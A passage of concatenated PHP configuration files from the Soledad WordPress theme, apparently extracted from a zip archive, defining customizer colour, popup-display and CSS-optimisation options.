	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#author-box">this guide</a> to know how to setup Author Box', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Box Background Color', 'soledad' ),
	'id'       => 'penci_authorbio_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Box Borders Color', 'soledad' ),
	'id'       => 'penci_authorbio_bordercl',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Name Color', 'soledad' ),
	'id'       => 'penci_authorbio_name_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Name Hover Color', 'soledad' ),
	'id'       => 'penci_authorbio_name_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Description Color', 'soledad' ),
	'id'       => 'penci_authorbio_desc_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Social Icons Color', 'soledad' ),
	'id'       => 'penci_authorbio_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Social Icons Hover Color', 'soledad' ),
	'id'       => 'penci_authorbio_social_hcolor',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Next/Previous Posts', 'soledad' ),
	'id'       => 'penci_section_cpost_nav',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for "previous post", "next post" Text', 'soledad' ),
	'id'       => 'penci_prevnext_colors',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Post Titles', 'soledad' ),
	'id'       => 'penci_prevnext_ctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Post Titles on Hover', 'soledad' ),
	'id'       => 'penci_prevnext_hctitle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Related Posts & Comments', 'soledad' ),
	'id'       => 'penci_section_crelatedp',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Sections Heading', 'soledad' ),
	'id'       => 'penci_relatedcm_heading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Lines Before & After Sections Heading', 'soledad' ),
	'id'       => 'penci_relatedcm_lineheading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Color on Related Posts', 'soledad' ),
	'id'       => 'penci_relatedcm_ctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Hover Color on Related Posts', 'soledad' ),
	'id'       => 'penci_relatedcm_hctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Date Color on Related Posts', 'soledad' ),
	'id'       => 'penci_relatedcm_cdate',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Author Color', 'soledad' ),
	'id'       => 'penci_relatedcm_author',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Author Hover Color', 'soledad' ),
	'id'       => 'penci_relatedcm_hauthor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Date Color', 'soledad' ),
	'id'       => 'penci_relatedcm_cmdate',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Reply/Edit Text Color', 'soledad' ),
	'id'       => 'penci_relatedcm_replyedit',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Content Color', 'soledad' ),
	'id'       => 'penci_relatedcm_cmcontent',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Comment Form Inputs & Textarea Color', 'soledad' ),
	'description' => __( 'For change color on "Submit" button color, check options on General > Colors > General Buttons', 'soledad' ),
	'id'          => 'penci_relatedcm_cminput',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'GDPR message & "Save my name, email.." Color', 'soledad' ),
	'id'       => 'penci_relatedcm_gdpr',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_single_accent_color',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Related Posts Popup', 'soledad' ),
	'id'          => 'penci_section_crelated_post_popup',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/related-posts-popup.png">this image</a> to know what is "Related Posts Popup"', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Heading Background on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_heading_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Heading Text Color on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_heading_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Close Button Color on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_close_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Post Titles on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Post Titles Hover on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_title_hover',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Date on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_date_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Borders on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_border_color',
);

// Smart Lists
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Smart Lists', 'soledad' ),
	'id'       => 'penci_section_smart_lists',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Color', 'soledad' ),
	'id'       => 'penci_sml_heading_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Items Number Text Color', 'soledad' ),
	'id'       => 'penci_sml_number_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Items Number Border Color', 'soledad' ),
	'id'       => 'penci_sml_number_bcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Items Number Background Color', 'soledad' ),
	'id'       => 'penci_sml_number_bgcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Description Text Color', 'soledad' ),
	'id'       => 'penci_sml_desc_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Text Color', 'soledad' ),
	'id'       => 'penci_sml_btn_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Background Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bgcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Border Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bdcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Text Hover Color', 'soledad' ),
	'id'       => 'penci_sml_btn_hcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Background Hover Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bghcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Border Hover Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bdhcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Navigation Background Color', 'soledad' ),
	'id'       => 'penci_sml_nav_bgcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Navigation Border Color', 'soledad' ),
	'id'       => 'penci_sml_nav_bdcl',
);

// Sticky Posts
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Sticky Posts Navigations', 'soledad' ),
	'id'       => 'penci_section_sticky_posts_nav',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_bgcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Border Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_bdcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_tcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_thcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Main Post Title Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_mpcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Navigation Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_color',
);

// Focus Mode Button
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Focus Mode', 'soledad' ),
	'id'       => 'penci_section_focus_mode_style',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_fcusmode_bgcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_fcusmode_txtcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Active Background Color', 'soledad' ),
	'id'       => 'penci_fcusmode_bghcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Active Text Color', 'soledad' ),
	'id'       => 'penci_fcusmode_txthcolor',
);

return $options;
PK     N\`>o"  o"  L  inc/customizer/config/sections/pencidesign_topbar_section_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Background Color', 'soledad' ),
	'id'       => 'penci_top_bar_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Current Date/Custom Text" Color', 'soledad' ),
	'id'       => 'penci_topbar_ct_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Top Posts" Background Color', 'soledad' ),
	'id'       => 'penci_top_bar_top_posts_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Top Posts" Text Color', 'soledad' ),
	'id'       => 'penci_top_bar_top_posts_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Next/Prev Posts Top Bar Button Color', 'soledad' ),
	'id'       => 'penci_top_bar_button_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Next/Prev Posts Top Bar Button Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_button_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Posts Title Color', 'soledad' ),
	'id'       => 'penci_top_bar_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Post Titles Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Text Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Text Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Border Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Dropdown Background Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_dropdown_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Social Icons Color', 'soledad' ),
	'id'       => 'penci_top_bar_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Social Icons Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_social_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login/Register Popup', 'soledad' ),
	'id'       => 'penci_lgpop_form_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Login Icon & Text Color', 'soledad' ),
	'id'       => 'penci_tblgc_icon_text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Login Icon & Text Hover Color', 'soledad' ),
	'id'       => 'penci_tblgc_icon_htext',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Popup Loading Icon', 'soledad' ),
	'id'       => 'penci_tblgpop_cloading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Second Background Color for Popup Form ( for Gradient Background )', 'soledad' ),
	'id'       => 'penci_tblgpop_sbg',
);
$options[] = array(
	'default'  => '0.75',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Color Opacity for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Background Image for Popup Form', 'soledad' ),
	'type'     => 'soledad-fw-image',
	'id'       => 'penci_tblgpop_bgimgage',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __('No Repeat','soledad' ),
		'repeat'    => __('Repeat','soledad' ),
	)
);
$options[] = array(
	'default'  => 'fixed',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Attachment for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_attachment',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'fixed'  => __('Fixed','soledad' ),
		'scroll' => __('Scroll','soledad' ),
		'local'  => __('Local','soledad' ),
	)
);
$options[] = array(
	'default'  => 'auto',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Size for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'auto'    => __('Auto','soledad' ),
		'cover'   => __('Cover','soledad' ),
		'contain' => __('Contain','soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Close Button on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_close',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Titles on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_titles',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color for Input Fields on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_inputs',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color for Input Fields on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_inputs_borders',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_submit',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_submit_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Hover Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_hsubmit',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Hover Background Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_submit_hbg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Links Color on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_links',
);

return $options;
PK     N\v    F  inc/customizer/config/sections/penci_popup_section_general_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'id'          => 'penci_popup_enable',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Promo Popup', 'soledad' ),
	'description' => __( 'Show promo popup to users when they enter the site.', 'soledad' ),
	'section'     => 'penci_popup_section_general',
	'type'        => 'soledad-fw-toggle',
);

$options[]  = array(
	'id'    => 'penci_popup_display_condition',
	'label' => __( 'Display Conditions', 'soledad' ),
	'type'  => 'soledad-fw-header',
);
$post_types = array( 'post', 'page' );
$post_types = array_merge( $post_types, penci_get_published_posttypes() );

if ( class_exists( 'WooCommerce' ) ) {
	$post_types[] = 'product';
}

if ( is_array( $post_types ) && ! empty( $post_types ) ) {

	foreach ( $post_types as $type ) {

		$type_data = get_post_type_object( $type );

		if ( ! empty( $type_data->label ) ) {

			$options[] = array(
				'id'       => 'penci_popup_show_' . $type,
				'sanitize' => 'penci_sanitize_text_field',
				'label'    => __( 'Show Popup for ' . $type_data->label, 'soledad' ),
				'type'     => 'soledad-fw-toggle',
			);
		}
	}
}

$options[] = array(
	'id'          => 'penci_popup_ex_singular_ids',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Exclude Singular Post IDs', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://ostraining.com/blog/wordpress/how-to-find-the-page-id-in-wordpress/">this guide</a> to know how to find ID of a post or page. Fill the list IDs you want to exclude here, separate by comma. E.g: 10, 20, 34', 'soledad' ),
	'type'        => 'soledad-fw-text',
);

$options[] = array(
	'id'          => 'penci_popup_in_singular_ids',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Include Singular Post IDs', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://ostraining.com/blog/wordpress/how-to-find-the-page-id-in-wordpress/">this guide</a> to know how to find ID of a post or page. Fill the list IDs you want to exclude here, separate by comma. E.g: 10, 20, 34', 'soledad' ),
	'type'        => 'soledad-fw-text',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_homepages',
	'default' => '',
	'label'   => __( 'Hidden Popup on Homepage', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_blog',
	'default' => '',
	'label'   => __( 'Hidden Popup on Blog Page', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'    => 'penci_popup_display_condition_tax',
	'label' => __( 'Taxonomy Display Conditions', 'soledad' ),
	'type'  => 'soledad-fw-header',
);

foreach ( $post_types as $type ) {

	$type_data = get_post_type_object( $type );
	$post_taxs = get_object_taxonomies( $type, 'objects' );

	$igr_tax = array(
		'post_format',
		'product_type',
		'product_visibility',
		'product_shipping_class',
	);

	foreach ( $igr_tax as $igr ) {
		unset( $post_taxs[ $igr ] );
	}

	foreach ( $post_taxs as $tax ) {

		$options[] = array(
			'id'       => 'penci_popup_archive_' . $tax->name,
			'default'  => '',
			'sanitize' => 'penci_sanitize_text_field',
			'label'    => __( 'Show Popup for ' . $tax->label, 'soledad' ),
			'type'     => 'soledad-fw-toggle',
		);
	}
}


$options[] = array(
	'id'    => 'penci_popup_display_condition_other',
	'label' => __( 'Other Display Conditions', 'soledad' ),
	'type'  => 'soledad-fw-header',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_search',
	'default' => '',
	'label'   => __( 'Hide for Search Page', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_404',
	'default' => '',
	'label'   => __( 'Hide for 404 Page', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'          => 'penci_popup_disable_mobile',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide for Mobile Devices', 'soledad' ),
	'description' => __( 'You can disable this option for mobile devices completely.', 'soledad' ),
	'section'     => 'penci_popup_section_general',
	'type'        => 'soledad-fw-toggle',
);

return $options;
PK     N\qA    B  inc/customizer/config/sections/penci_section_speed_css_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'          => 'penci_speed_optimize_css',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Optimize CSS', 'soledad' ),
	'description' => __( "You need to check to this option to make all optimize CSS options below works", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_remove_css',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Create Critical CSS?', 'soledad' ),
	'description' => __( 'Remove Unused CSS to reduce the loading time, all other CSS will be delayed to loads until user interaction.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_css_minify',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Minify All CSS', 'soledad' ),
	'description' => __( "Minify CSS to reduced the CSS size.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_css_to_inline',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Inline Optimized CSS', 'soledad' ),
	'description' => __( "Inline the CSS to prevent flash of unstyled content. Highly recommended.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_gfonts',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Optimize Google Fonts', 'soledad' ),
	'description' => __( "Add preconnect hints and add display swap for Google Fonts.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_gfonts_inline',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Inline Google Fonts CSS', 'soledad' ),
	'description' => __( "Inline the Google Fonts CSS for a big boost on FCP and slight on LCP on mobile. Highly recommended.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_gfonts_delay',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Delay Loading Google Fonts', 'soledad' ),
	'description' => __( "It can helps you reduce the FCP & LCP for Core Web Vitals.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_speed_optimize_disable_icon_delay',
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Delay Loading Icon Fonts', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'label'       => __( 'Remove Gutenberg Styles', 'soledad' ),
	'description' => __( 'Use with caution. This will remove styles for Gutenberg editor from the <head> - only activate it if your website users using the Classic Editor', 'soledad' ),
	'id'          => 'penci_speed_remove_gutenbergcss',
